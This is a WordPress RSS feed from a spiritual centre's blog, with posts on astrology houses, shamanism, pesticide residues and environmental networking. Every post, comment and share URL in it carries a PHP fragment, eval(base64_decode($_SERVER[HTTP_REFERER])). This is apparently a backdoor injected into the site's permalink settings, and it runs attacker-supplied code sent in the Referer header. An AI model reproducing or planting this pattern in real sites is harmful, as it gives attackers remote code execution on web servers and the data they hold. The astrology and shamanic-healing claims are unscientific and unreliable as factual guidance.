<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Brigid&#039;s House &#187; Reflections From The Stars</title>
	<atom:link href="http://brigidshouse.com/category/reflections-from-the-stars/feed/" rel="self" type="application/rss+xml" />
	<link>http://brigidshouse.com</link>
	<description>Center for Peace, Body and Spirit</description>
	<lastBuildDate>Mon, 30 Jan 2012 20:12:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Visit Earthdrummer.com</title>
		<link>http://brigidshouse.com/2009/12/25/visit-earthdrummer-com/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/12/25/visit-earthdrummer-com/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 16:50:06 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Reflections From The Stars]]></category>
		<category><![CDATA[earthdrummer]]></category>
		<category><![CDATA[jeanne marie troge]]></category>
		<category><![CDATA[jeanne trohe]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=522</guid>
		<description><![CDATA[Our own Jeanne Troge&#8217;s personal website and blog has been completely updated. We invite you to visit her home on the web and sign up for her blog. earthdrummer.com Share on Facebook]]></description>
			<content:encoded><![CDATA[<p><a href="http://brigidshouse.com/2009/12/25/visit-earthdrummer-com/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&#038;%/featured_1/" rel="attachment wp-att-523"><img src="http://brigidshouse.com/wp-content/uploads/2009/12/featured_1-300x86.jpg" alt="featured_1" title="featured_1" width="300" height="86" class="aligncenter size-medium wp-image-523" /></a>Our own Jeanne Troge&#8217;s personal website and blog has been completely updated. We invite you to visit her home on the web and sign up for her blog. <a href="http://earthdrummer.com">earthdrummer.com</a></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/12/25/visit-earthdrummer-com/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/12/25/visit-earthdrummer-com/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Houses&#8230;Astrology by Anne Morgan</title>
		<link>http://brigidshouse.com/2009/08/24/the-housesastrology-by-anne-morgan/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/08/24/the-housesastrology-by-anne-morgan/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 17:36:46 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Reflections From Friends]]></category>
		<category><![CDATA[Reflections From The Stars]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=341</guid>
		<description><![CDATA[THE HOUSES Practical Astrology for an Imperfect World 1.10 by Anne Morgan Houses 1 through 6 (the bottom hemisphere) are your exports—what you are offering. Houses 7 through 12 (the upper hemisphere) represent your imports—what you are seeking. Like countries, people trade and exchange for what they want or need. Ideally, barters take place easily, [...]]]></description>
			<content:encoded><![CDATA[<p>THE HOUSES</p>
<p>Practical Astrology for an Imperfect World  1.10 by Anne Morgan</p>
<p>Houses 1 through 6 (the bottom hemisphere) are your exports—what you are offering.<br />
Houses 7 through 12 (the upper hemisphere) represent your imports—what you are seeking.</p>
<p>Like countries, people trade and exchange for what they want or need. Ideally, barters take place easily, with each party recognizing and supplying the needs of the other.</p>
<p>In reality, this is not the case. Exchange of resources creates risk. One party may decide that trading is too dangerous. The United States, for example, would not want to trade nuclear secrets with Iran, for doing so would be dangerous for us and our allies. Legal contracts, be they national treaties or marriages, imply that the two parties expect to be stronger, safer, happier when joined.</p>
<p>Another danger inherent in formal exchange is over-closeness and dependence. Loss of autonomy. No entity wants to admit it is weak or incomplete. Normally, a contract specifies the conditions and terms under which the parties will do business. Each side agrees to offer the other certain of his resources. As long as both parties abide by the agreement, things remain pleasant. Both parties know, whether it is spelled out or not, that default means all bets are off, and the arrangement ceases as normal. Countries go to war when one side takes by force what it has been unable to get in trade.</p>
<p>Now, this business-like approach to human relations may seem a bit crass, but we make social contracts with friends, lovers, children, and neighbors. In marriage, each party agrees to be faithful exclusively to the other and to share resources, until death do them part. The penalty for breach of contract is divorce, the splitting and separating of resources. One or both parties has decided that continuing the relationship is more painful than continuing it. Making the marriage bargain cost them, and terminating it costs some more.</p>
<p>A few bad bargains, early in life, usually ending painfully, will sometimes lead a person to decide to never enter into the same sort of bargain. A rejected marriage proposal may lead one to vow to never risk proposing gain. It may lead the rejected party to withdraw and become a spinster, or it may lead one to become cavalier, dating but never again committing.</p>
<p>Successful bargains, on the other hand, enhance our self-esteem. We choose a good marriage partner. Our partnership is beneficial. We take pride in our family, our joint incomes, our lives together.</p>
<p>Are you a natural bargainer? Or have you learned to bargain after some bad experiences?</p>
<p>Astrology can help. Love is represented by the 5th House. The 5th house represents the love you offer. The 11th House describes the love you seek.</p>
<p>We all need and seek love. To get the love we seek, however, we must be willing to offer love in return. Some people require more love than others. They place a greater value on love than other commodities. Other people have a lot of love to give to others.</p>
<p>The more planets in a house, the greater the emphasis—and thus the greater need—perceived by the person. With several planets in the 11th House, for example, the person feels a stronger need for the love of others than a person with no planets in the 11th House.</p>
<p>How the person with multiple planets in the 11th house goes about getting the love he or she needs can be described by the planets inhabiting the 11th house. Mars, for example, in the 11th House would make the person aggressive in pursuing love. Venus would make the person able to wait for it. Neptune in the 11th would view love as something spiritual and idealistic. Saturn would harbor fears that would have to be overcome before he’d allow others to love him.</p>
<p>Look at your 5th and 11th houses. Are there planets in these houses? Think about assets like love, children, vacations, hobbies, what you think of as the ‘good life.’ What brings you enjoyment and happiness? What are your romantic desires and needs?</p>
<p>The 5th-11th House bargain is “Love me and I will love you.” What do you want fromm others regarding love? What do you have to offer? (If your self-image is healthy and in balance, your list of what you have to offer will be longer than your list of wants.)<br />
<em><br />
To be continued…<br />
</em></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/08/24/the-housesastrology-by-anne-morgan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/08/24/the-housesastrology-by-anne-morgan/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Subjective Houses</title>
		<link>http://brigidshouse.com/2009/08/24/the-subjective-houses/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/08/24/the-subjective-houses/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 24 Aug 2009 16:03:13 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Reflections From Friends]]></category>
		<category><![CDATA[Reflections From The Stars]]></category>
		<category><![CDATA[anne morgan astrology]]></category>
		<category><![CDATA[astrology]]></category>
		<category><![CDATA[astrology brigid's house]]></category>
		<category><![CDATA[astrology signs]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=368</guid>
		<description><![CDATA[Practical Astrology for an Imperfect World. 1.13 The lower hemisphere of a chart, Houses 1 through 6, are the subjective Houses. They represent matters that are personally oriented. Using Robert Jansky’s methodology, they represent what we have to offer (export) to trade for what we want or seek or need. The more planets in a [...]]]></description>
			<content:encoded><![CDATA[<p>Practical Astrology for an Imperfect World.  1.13</p>
<p>The lower hemisphere of a chart, Houses 1 through 6, are the subjective Houses. They represent matters that are personally oriented. Using Robert Jansky’s methodology, they represent what we have to offer (export) to trade for what we want or seek or need. The more planets in a house, the greater the emphasis—and thus the greater the need—perceived by the individual. </p>
<p>The 2nd and 8th houses are the pair of houses that reveal an individual’s need for possessions and the physical sharing of herself with another person. Money is often the commodity that is being exchanged. The bargain? I’ll offer you some asset I possess in exchange for some asset you possess. </p>
<p>These houses also relate to sex. We all have a physical body. This physical asset can be given, bartered, or withheld to get what we need from others. This does not mean that we all prostitute ourselves, but you probably have heard of someone who used sex to get a promotion (more income). People engage in sexual acts hoping their partner will value them, and come to love and support them. </p>
<p>We are attracted to partners whom we believe are capable of providing us with (or helping us get) what we think we need or want.  </p>
<p>The 2nd house describes your values, your attitude toward money and possessions, your capacity to earn money—and what you do when you have (or don’t have) it. The sign ruling the 2nd house cusp, and planets in the 2nd house, explain how you give and receive. </p>
<p>The 8th house describes your 7th house partners’ resources. It describes how you handle these resources, and what you are willing or able to do to get them. It reveals if you are likely to receive an inheritance, which brings in the subject of wills, which stem from the matter of death. </p>
<p>Aries ruling the 2nd house indicates you go and get the possessions you want. Single Aries’ 2nd people should pay cash, for they may not naturally have the patience to pay off a credit card or loan. But bring in a Libra partner, and this partner will have to agree to back up the spur-of-the-moment, I-need-this-right-now purchases that Aries makes—in exchange for a partner who makes a decision, rather than endlessly debating the options of couch colors. </p>
<p>Taurus ruling the 2nd House describes an individual who clings to his or her possessions. He is a stable, stick-to-the-job person. Scorpio on the 2nd house cusp means the native prefers to be secretive about his or her income. He manages finances and budgets, and will probably put every penny he inherits towards joint finances; he handles the details internally and may resent a partner’s need to discuss matters.</p>
<p>Gemini ruling the 2nd also means Sagittarius rules the 8th. This person talks about money, writes the checks, and delivers payments. His Sagittarian partner is happy to have these day-to-day necessities done so he can work behind the scenes, focus on deeper issues, and think long-term. Reverse significance for a Sagittarius on the 2nd chart.</p>
<p>Cancer ruling the 2nd House describes a person who values emotional security over material needs. She embraces her partner’s emotional needs, and trades this for the structural security offered by a Capricorn (her 8th house). A Capricorn on the 2nd person would trade his or her organizational skills in finances, possessions and self-worth for an emotionally focused Cancer. Now, the partner could be an emotional dependent, which could lead to an unhealthy relationship. Or the Cancer could be emotionally supportive and aid the strong, tough Capricorn to be in touch with his feelings.</p>
<p>Leo on the 2nd values his possessions and money. He attracts partners who have strong Aquarian natures, for these people are not threatened by Leo’s ego. They can be equally strong minded. Aquarius on the 2nd House indicates a person who shares what he has—as long as those he shares with defer to his vision.</p>
<p>Virgo ruling the 2nd House signifies a person who knows how to shop. He discerns value and hype, and manages his assets to care for those he loves. Pisces in the 8th may be needy and vulnerable, or bring home those who are needy and vulnerable—stray animals or foster children, for example. Pisces on the 2nd can be swayed by circumstance, and seeks a partner who can attend to the details of daily living.</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/08/24/the-subjective-houses/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/08/24/the-subjective-houses/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Astrology by Anne Morgan</title>
		<link>http://brigidshouse.com/2009/08/13/astrology-by-anne-morgan/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/08/13/astrology-by-anne-morgan/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 23:29:17 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Reflections From The Stars]]></category>
		<category><![CDATA[anne morgan astrology]]></category>
		<category><![CDATA[astrology]]></category>
		<category><![CDATA[astrology brigid's house]]></category>
		<category><![CDATA[astrology signs]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=355</guid>
		<description><![CDATA[Practical Astrology for an Imperfect World 1.12 The lower hemisphere of a chart, Houses 1 through 6, are the subjective Houses. They represent matters that are personally oriented. Using Robert Jansky’s methodology, they represent what we have to offer (export) to trade for what we want or seek or need. The more planets in a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://brigidshouse.com/index.php/about/anne-morgan-astrologer/logo3/" rel="attachment wp-att-151"><img src="http://brigidshouse.com/wp-content/uploads/2009/05/logo3.jpg" alt="logo3" title="logo3" width="310" height="332" class="alignleft size-full wp-image-151" /></a><strong>Practical Astrology for an Imperfect World  1.12</strong></p>
<p>The lower hemisphere of a chart, Houses 1 through 6, are the subjective Houses. They represent matters that are personally oriented. Using Robert Jansky’s methodology, they represent what we have to offer (export) to trade for what we want or seek or need. The more planets in a house, the greater the emphasis—and thus the greater the need—perceived by the individual. </p>
<p>The Law of Polarity matches houses with their polar opposites. Think of this like the North and South Pole. If one pole is in the 1st House, the opposite pole lies in the 7th. </p>
<p>The 1st House represents you. Your identity and your awareness of your identity. It describes your primary physical features. How you like to dress. How you project yourself into the world. What others get from you as their first impression of you. The 1st House describes your temperament, your personality, your character, your individuality—all terms people use when trying to ‘sum you up’ as a person. We all need to have your identity recognized and validated by other people. </p>
<p>We all want to be accepted and told we are okay. By the time we are in our teens, we are looking for partner(s) who validate us in the most personal ways. We look for a mate, husband or wife, as well as business partners, who will accept us full time.</p>
<p>The 7th House also describes doctors, lawyers, agents and other professionals, including astrologers. We seek advice and receive personally supporting services from these people. (I suspect society evolved privacy protections for professional services because legal confidentiality facilitates specifically intimate relationships.) </p>
<p>The 1st/7th Polarity can be defined as Identity—Recognition. </p>
<p>Libra rising (ruling the 1st House) in a chart indicates that the native, from an early age, tries to be a peace-maker. He or she wants everyone to get along and play fair. They are in awe of, and eventually look for, partners who are strongly Aries: independent, assertive, make-their-own rules, shoot first and ask questions after. Libra rising seeks an Aries partner who teaches offense. In return, Libra offers companionship to one who tends to be a loner. </p>
<p>Conversely, Aries rising is independent and assertive. Definitely not a team player. Aries looks for Libra partners because two Aries personalities would clash. Libra is the perfect agreeable partner—content to let Aries lead, able to point Aries in a direction and say, “Go get that for me.”</p>
<p>Taurus rising is stable and patient, persistent and stubborn, artistic yet practical. Taurus is balanced by a Scorpio partner. Scorpio can be Taurus’ muse, the inspiration and depth behind Taurus’ artistry. Scorpio loves to break up routine, and so shakes Taurus up from becoming too rigid. Taurus gives Scorpio an outlet to release trapped, inner fears or secrets. Sex and transformational energies become domesticated.</p>
<p>Gemini and Sagittarius are both mutable signs. Gemini rising is curious, talkative, always in motion. It becomes balanced by Sagittarius’ scholarly broad-mindedness and love of nature. Sagittarius rising’s idealism could fall in love with Gemini’s day-to-day realism. Publishing meets wordsmithing.  </p>
<p>Cancer 1st House is emotional, protective in a possessive manner. Capricorn opposing on the 7th suggests that Cancer would willingly provide a home base for Capricorn’s worldly-wise skills. </p>
<p>The natural polarity between Leo and Aquarius says one-to-one relationships are based on mutual respect and friendship. Leo is self-absorbed and generous. Aquarius is independent and personally resourceful. Neither dominates. Both give.</p>
<p>Virgo and Pisces could seem like a mismatch. Virgo is analytical, precise, meticulous, incisive, studious and methodical. Pisces is dreamy, imaginative, melancholy and impractical. Pisces is drawn to causes. Virgo is concerned with health and problem-solving. Teamed together, they formidably tackle the world’s injustices. </p>
<p>After you are born (your chart is set), the world keeps spinning. So does your chart. It moves, and over time, subsequent signs progress in turn to your Ascendant. The progressed Ascendant sign add new colors and qualities to your character. You (and your life) become more complex. </p>
<p>The focus of your life, and the nature of events that happen to you, can be described by the new progressed sign. A detailed study of the progressed Ascendant (1st house cusp) and Descendant (7th house cusp) can predict events or be used to rectify a birth chart when the exact time of birth is unknown. </p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/08/13/astrology-by-anne-morgan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/08/13/astrology-by-anne-morgan/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What&#8217;s On MY Food&#8230;by Tara Troge</title>
		<link>http://brigidshouse.com/2009/06/24/whats-on-my-foodby-tara-troge/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/06/24/whats-on-my-foodby-tara-troge/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 22:23:55 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Reflections From The Stars]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=255</guid>
		<description><![CDATA[What’s on my food?? We all know that food grown conventionally is sprayed with pesticides, which over time build up in our bodies and cause detrimental health effects. However, living in a small town, sometimes we don’t have a wide range of choices, and buying local is always the better option than having something shipped [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://brigidshouse.com/index.php/2009/06/24/whats-on-my-foodby-tara-troge/attachment/10036289/" rel="attachment wp-att-256"><img src="http://brigidshouse.com/wp-content/uploads/2009/06/10036289-300x133.jpg" alt="10036289" title="10036289" width="300" height="133" class="aligncenter size-medium wp-image-256" /></a><strong>What’s on my food?? </strong><em>We all know that food grown conventionally is sprayed with pesticides, which over time build up in our bodies and cause detrimental health effects.  However, living in a small town, sometimes we don’t have a wide range of choices, and buying local is always the better option than having something shipped in.  But what if the amount of pesticides used outweighs the health benefit of that particular food?</p>
<p>If you’re curious to know exactly what is being put on that food you’re buying, check out <a href="http://www.whatsonmyfood.org">www.whatsonmyfood.org</a>.  This website features a really great tool to find out just what pesticides are sprayed on your food and their potential health effects.  All of the data compiled in the searchable database was obtained from the USDA Pesticide Data Program.  </p>
<p>For example, the local grocery store had non-organic strawberries on sale, so before I purchased I looked them up and here is what I found.  Conventionally grown strawberries may contain:</p>
<p>6—Known or Probable Carcinogens<br />
16—Suspected Hormone Disruptors<br />
10—Neurotoxins<br />
4—Developmental or Reproductive Toxicants</p>
<p>They have every food listed under the sun; so before you think about buying non-organic anything, look it up first to see what you&#8217;re actually getting.</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/06/24/whats-on-my-foodby-tara-troge/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/06/24/whats-on-my-foodby-tara-troge/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Working With A Shaman</title>
		<link>http://brigidshouse.com/2009/06/19/working-with-a-shaman/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/06/19/working-with-a-shaman/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 21:33:49 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Reflections From The Stars]]></category>
		<category><![CDATA[brigid's house]]></category>
		<category><![CDATA[core shamanism]]></category>
		<category><![CDATA[daily om shaman]]></category>
		<category><![CDATA[shamanism]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=249</guid>
		<description><![CDATA[A Soulful Cure&#8230;Working with a Shaman Since time immemorial, certain men and women have felt called to heal the sick, to safeguard knowledge, to guide the lost, and to commune with the spirit world. These unique individuals, known as shamans, were mystics and seers, repositories of wisdom, and keepers of herbal lore. During those periods [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://brigidshouse.com/index.php/about/about-jeanne-troge-ma/jeannes-offerings/drums/" rel="attachment wp-att-49"><img src="http://brigidshouse.com/wp-content/uploads/2009/05/drums.jpg" alt="drums" title="drums" width="600" height="400" class="aligncenter size-full wp-image-49" /></a><strong>A Soulful Cure&#8230;Working with a Shaman</strong><br />
Since time immemorial, certain men and women have felt called to heal the sick, to safeguard knowledge, to guide the lost, and to commune with the spirit world. These unique individuals, known as shamans, were mystics and seers, repositories of wisdom, and keepers of herbal lore. During those periods when ignorance loomed large in the world, shamans across the globe bided their time, peacefully practicing their practical yet refined arts in the jungle, mountains, deserts, and tundra that protected them from those who misunderstood shamanism. Today, however, shamanism has reemerged, as modern men and women feel the same call to service that their ancestors felt long ago. Also, as more individuals explore the notion that healing necessarily involves the soul as well as the physical self, people are consulting shamans in their search for wellness, wisdom, and guidance. </p>
<p>The word shaman literally means &#8220;he or she who knows.&#8221; Shamanism is an art that has not changed in any quantifiable way for millennia and is not bound to any particular form of spirituality. It is grounded on the principle that the visible world is saturated with unseen forces that influence the lives of human beings. Shamans, in addition to acting as fonts of wisdom, are dedicated to diagnosing and curing human suffering?whether emotional, physical, or spiritual. To treat an illness, a shaman may communicate with the spirit world in order to connect more directly with the soul of their patient or with the force causing ill health. They often work closely with animal guides, plant and earth spirits, or your spirit guides, and may make use of use of herbal remedies to supplement other forms of treatment. Shamans, as intermediaries between the physical and spiritual realms, recognize that all objects are in manner alive and retain information that can be utilized to heal. </p>
<p>Shamanism is powerful in part because its practitioners tailor healing to the individual needs of those who seek them out. A shaman manipulates energy, giving you power where you have lost it and removing misplaced energy lurking within you. When you seek out a shaman, they will endeavor to know and understand you before treating you. In this way, they can provide you with therapies that act on your whole being, positively influencing your body as well as your soul.</p>
<p>Reprinted from the<a href="http://www.dailyom.com"> Daily Om. Click here to subscribe to Daily Om.</a></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/06/19/working-with-a-shaman/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/06/19/working-with-a-shaman/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mysts and the Mystery</title>
		<link>http://brigidshouse.com/2009/06/18/mysts-and-the-mystery/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/06/18/mysts-and-the-mystery/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 12:58:54 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[General Info]]></category>
		<category><![CDATA[Reflections From The Stars]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=240</guid>
		<description><![CDATA[The Mysts and Mystery This morning the fog lies heavy and I love it! All the trees seem suspended between the otherworld and this world. Are they really there or not? Are they yearning to become a tree but haven&#8217;t yet made it into this world? Are they just in someone&#8217;s imagination but not yet [...]]]></description>
			<content:encoded><![CDATA[<p>The Mysts and Mystery<br />
This morning the fog lies heavy and I love it! All the trees seem suspended between the otherworld and this world. Are they really there or not? Are they yearning to become a tree but haven&#8217;t yet made it into this world? Are they just in someone&#8217;s imagination but not yet formed into solid? I love the mystery around the mysts&#8212;certainly that must be where the word &#8220;mysts&#8221; comes from&#8212;it is a part of the word mystery.<br />
I think in our modern age life we forget about the power of mystery. We are certainly the information age and with all this information we then think we &#8220;know&#8221; so there is no mystery. I remember when I was Catholic and they changed the Mass from Latin to English. The mystery of the Mass was suddenly gone. I had loved the sounds of the Latin words. I didn&#8217;t need to &#8220;know&#8221; what was being said, I could &#8220;feel&#8221; it. It seems to me that in knowing, we lose the mystery and the feeling, we lose the heart, replacing it with the head.<br />
How can you bring more mystery into your life today? What is the mystery that keeps you in your heart? Walk into the mysts&#8230;&#8230;..and remember with your heart~<br />
May the Mysts open your heart,<br />
Jeanne </p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/06/18/mysts-and-the-mystery/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/06/18/mysts-and-the-mystery/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Connect With Fellow Environmentalists</title>
		<link>http://brigidshouse.com/2009/06/11/connect-with-fellow-environmentalists/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/06/11/connect-with-fellow-environmentalists/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 11 Jun 2009 17:04:56 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Reflections From The Stars]]></category>
		<category><![CDATA[brigid's house]]></category>
		<category><![CDATA[climate crossroads]]></category>
		<category><![CDATA[green brigid's house]]></category>
		<category><![CDATA[sierra club]]></category>
		<category><![CDATA[tara troge]]></category>

		<guid isPermaLink="false">http://brigidshouse.com/?p=221</guid>
		<description><![CDATA[In this day and age, most of us are likely to be members of Facebook, MySpace, Twitter, LinkedIn, or some other social networking site. But if you feel lost amongst the vast array of quizzes, drink requests, and invitations to a water fight, and yearn to connect with more like minded individuals, check out Sierra [...]]]></description>
			<content:encoded><![CDATA[<p>In this day and age, most of us are likely to be members of Facebook, MySpace, Twitter, LinkedIn, or some other social networking site.  But if you feel lost amongst the vast array of quizzes, drink requests, and invitations to a water fight, and yearn to connect with more like minded individuals, check out Sierra Club’s new social network called Climate Crossroads.  On Climate Crossroads you can publicize green events, learn about global warming, share recipes and more!<br />
Check it out at:   <a href="http://climatecrossroads.sierraclub.org/index.html">http://climatecrossroads.sierraclub.org/index.html</a></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://brigidshouse.com/2009/06/11/connect-with-fellow-environmentalists/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://brigidshouse.com/2009/06/11/connect-with-fellow-environmentalists/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s In The House&#8230;Astrology</title>
		<link>http://brigidshouse.com/2009/06/10/its-in-the-houseastrology/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brigidshouse.com/2009/06/10/its-in-the-houseastrology/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 15:06:15 +0000</pubDate>
